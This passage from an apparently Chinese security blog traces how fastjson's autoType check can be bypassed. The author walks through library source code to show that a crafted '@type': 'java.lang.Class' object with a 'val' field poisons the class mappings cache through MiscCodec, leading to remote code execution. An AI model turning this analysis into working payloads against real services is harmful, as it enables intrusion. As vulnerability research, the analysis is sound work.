throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

if (clazz != null) {
if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
return clazz;
}

if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}

int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
} else {
throw new JSONException("autoType is not support. " + typeName);
}
}

可以看到起整体的代码流程,其实其防护的也就是那些恶意的class和其恶意的绕过方式,其实如果可以找到其他的利用class;就可以轻松的过其的拦截,直接到后面的判断clazz是否为空,然后直接loadClass;不过fastjson更新到了这个地步已经很安全了;恶意的class类用已经更加的困难了;至于后续的代码,是当我们自己构造一个class的时候并且想去反序列化自己构造的类的时候,才会经过一系列的判断后进入JavaBeanInfo的build方法去进行build;之前也追溯过build的方法,就是去调用setter和getter方法触发javabean;那就是后续的说法了,我们漏洞的利用利用点是其fastjson的内置的class;后者java的jdk自带的class;所以不必追溯此;

所以经过上述的一点分析,如果我们不是利用的新的class进行攻击触发点,那么我们就需要去控制mapping;如果可以控制mapping的话,那么我们在再次去反序列化的时候就会去到mapping中找到相应的class从而触发我们想要触发的恶意class;新型通杀exp就是利用此;也就是我们需要合理的控制代码的走向,及时的溜出去达到return的效果;

要想控制mapping,那么我们就来看看如何控制;先来分析两个mapping都是什么,之前也贴出过,这就不再说了,可以直接到上面去看写的mapping;IdentityHashMap的mapping和ConcurrentHashMap的mapping

这里简单的追溯下不难发现;对于ConcurrentHashMap类的mapping来说;在调试中,发现其是程序最开始默认的mapping;但是有个点,可以控制的;在TypeUtils class下的loadClass方法中,有个mapping.put方法;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}

return clazz;
}

只要最开始的clazz没有在mapping中找到,而且我们传入的class不以[ 和 L开头 ; 结尾,就可进入最后的敏感代码区域;并且在判断类加载器不为空和cache为true的情况下会put我们的classname;就挺好的;可以看到classLoader是在函数触发的时候传入的;cache也是在触发的时候传入的,追溯一下上一个函数;

发现在同class下存在:

1
2
3
4
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}

很清晰的看到如果我们可以调用到此函数,那么就可承接下面的loadClass function从而进入mapping.put的环节从而可以污染mapping;那么现在就是需要去寻找那个class中调用了TypeUntil class下的loadClass(两个参数)函数了;又因为在最后的loadClass中有判定,所以ClassLoader不能为null;否则将直接return,不会调用其中的流程将恶意的class写入mapping;

最后在MiscCodec.java下的deserialze方法中调用;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;

//clazz类型等于InetSocketAddress.class的处理。
//因为我们需要的clazz必须为Class.class,不进入
if (clazz == InetSocketAddress.class) {
...
}

Object objVal;
//下面这段赋值objVal这个值
//此处if对于parser.resolveStatus这个值进行了判断
//下面有截图可判断其解析样子;
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
//当parser.resolveStatus的值为 TypeNameRedirect
parser.resolveStatus = DefaultJSONParser.NONE;//0
parser.accept(JSONToken.COMMA);//16
//lexer为json串的下一处解析点的相关数据
//如果下一处的类型为string
if (lexer.token() == JSONToken.LITERAL_STRING) {//4
//判断解析的下一处的值是否为val,如果不是val,报错退出
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
//移动lexer到下一个解析点
//举例:"val":(移动到此处->)"xxx"
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);
//此处获取下一个解析点的值"xxx"赋值到objVal
objVal = parser.parse();

parser.accept(JSONToken.RBRACE);
} else {
//当parser.resolveStatus的值不为TypeNameRedirect
//直接解析下一个解析点到objVal
objVal = parser.parse();
}

String strVal;
//strVal由objVal来进行赋值;
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
//不必进入的代码块;
}
if (strVal == null || strVal.length() == 0) {
return null;
}
//省略诸多。。。。
if (clazz == Class.class) {
//当clazz为Class.class的时候会进入loadClass我们渴望的恶意代码块;
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}


因为直击loadClass点,发现其clazz必须为Class.class,然而最开始进行了一个判断clazz是否为InetSocketAddress.class的限制,所以if下的代码块直接跳过;这里将记录放在代码中方便后续复习;

所以我们的关键的代码点就去到了parser.resolveStatus下;追溯下:

gyZGss.png

这里简单的追溯下不难发现,是当resolveStatus为2的时候,可以进入大的if语句;

这里插一句,在调试的时候可能很多师傅发现token刚开始为12;这里我解释下:

1
2
3
4
5
case '{':
this.next();
this.token = 12;
return;

可以看到,这里经过我们的判定在第一个字符扫描到了打括号的开始,因为我们传入的是json数据,所以第一个字符肯定为大括号,所以就在此token被赋值为12;

然后注意如下的代码:

1
2
3
4
5
6
if (ch == '"') {
key = lexer.scanSymbol(this.symbolTable, '"');
lexer.skipWhitespace();
ch = lexer.getCurrent();
if (ch != ':') {

这里显然是获取json的key;那么其简单的逻辑是,首先来扫描,拿到第一个引号 “ 记录下其位置,然后利用next向后扫描,然后拿到key的值,期间每扫一遍都是要和第一个引号 “ 相互比较,然后看其是否相等,其用意就是拿到双引号闭合的时候的数据;最后

1
2
3
4
5
    this.sp = 0;
this.next();
return value;
}

将key放入key缓存SymbolTable中之后,Return value;返回我们的key给key变量;自此,key的值已经赋值完成;

gIiubF.png

然后接着往下这几步:

gIiJv6.png

简单审计下代码会发现是判断是否为结束;即判断其是否为key的结束从而去读取value,还是直接是传入json的结束从而结束;

接着有一个细节,因为程序扫描到接下来的字符为 “{“ 所以程序就会理解为是json中的value再次嵌套了json;所以就会重复调用 parseObject函数去解析;

gIFvm8.png

然后还是按照之前的流程去拿到key。只不过这次是拿到的是value中的json的key;然后就可继续反序列化操作了;进入一个关键的判断

gIkQpR.png

经过判断,发现key符合要求,并且特征也满足为true;然后进入下面代码块,去进行typename的获取;追溯一下不难发现是反复调用了scanSymbol函数,每次调用都要和”进行比对,从而可以完整的拿到引号中的代码;也就是我们传入的class;

gIkUtH.png

可以显然的看到是首先拿到了第一个字符 j,然后后续会反复的调用scanSymbol函数直到匹配到” 为止,然后return一下;返回给typename变量;接下来就是代码构造的巧妙之处;继续追溯下:

gIAgr6.png

看到其进了checkAutoType函数,因为我们之前无论如何构造,都是需要进入这个函数去进行check的,所以这里巧用白名单中的默认class和IdentityHashmap的mapping中的默认class,直接绕过check;

gIEPs0.png

gIZHMR.png

success;

还有一个比较妙哉的点;为何我们要设置type为java.lang.Class? 追溯下不难发现;因为我们的初衷是调用MiscCodec类下的des方法从而去put我们的恶意类,那么在buckets中也即是IdentityHashMap的Entry中就写入了其相应的处理类:

gI1mMF.png

所以才会去采用Class作为value;从而达到去调用put写入恶意class的效果;另外Class类的唯一实用性还有一点在后面的代码判断处:

gI8L5R.png

这里只有当clazz为Class的class类型的时候才可触发loadClass,否则会进入后续的代码块,我当时尝试挖掘一个新的类,从而去代替Class;发现程序已经禁止了好多,没有绕过去,有点离谱;不过这也更加确定了Class类的唯一性;代码走到这里已经接近了我们的漏洞利用点;进入TypeUtils类中去调用loadClass方法,

gIGoWt.png

追溯下loadClass中的方法;比较敏感的代码入下:

gIUgVU.png

获取objVal的值;分析下是调用了DefaultJSONParser class下的parse方法;追溯在其中是调用了String下的substring函数对相应的区域块进行截取,从而拿到val的值;又因为拿到的val的值的时候是调用了String类下的方法,所以其返回的值为String对象;所以后续直接跳过大部分代码块进入直接赋值状态;

gIapsP.png

接着就是一顿if判断,判断clazz是否为Class类型

gIajTU.png

是的话就去调用loadClass;

gIdSfJ.png

可以看到进入了mapping的put方法,去写入恶意的class到mapping中,那么再次加载的时候,会首先去mapping缓存中去读取相应的class;自然会读取到我们恶意的class然后进行调用反序列化,利用javabean机制触发漏洞;达到rce的效果;

至于fastjson的利用Class进行bypass check达到jndi注入的那个点,这里就不分析了,可以简单的调试一下就能明白;